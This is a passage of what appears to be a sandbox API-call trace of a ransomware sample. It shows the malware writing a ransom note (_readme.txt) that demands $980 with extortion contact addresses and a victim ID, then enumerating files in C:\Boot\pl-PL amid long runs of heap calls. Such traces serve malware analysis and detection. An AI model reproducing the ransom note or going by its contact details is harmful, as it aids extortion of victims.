and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.526] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.527] CloseHandle (hObject=0x5c4) returned 1 [0066.527] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.527] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.527] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.527] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.527] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.527] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.527] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.527] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.527] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.527] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb330a9d0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.527] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb330a9d0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.528] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.528] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.528] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.528] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.529] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.534] RtlAllocateHeap (HeapHandle=0x5d0000, 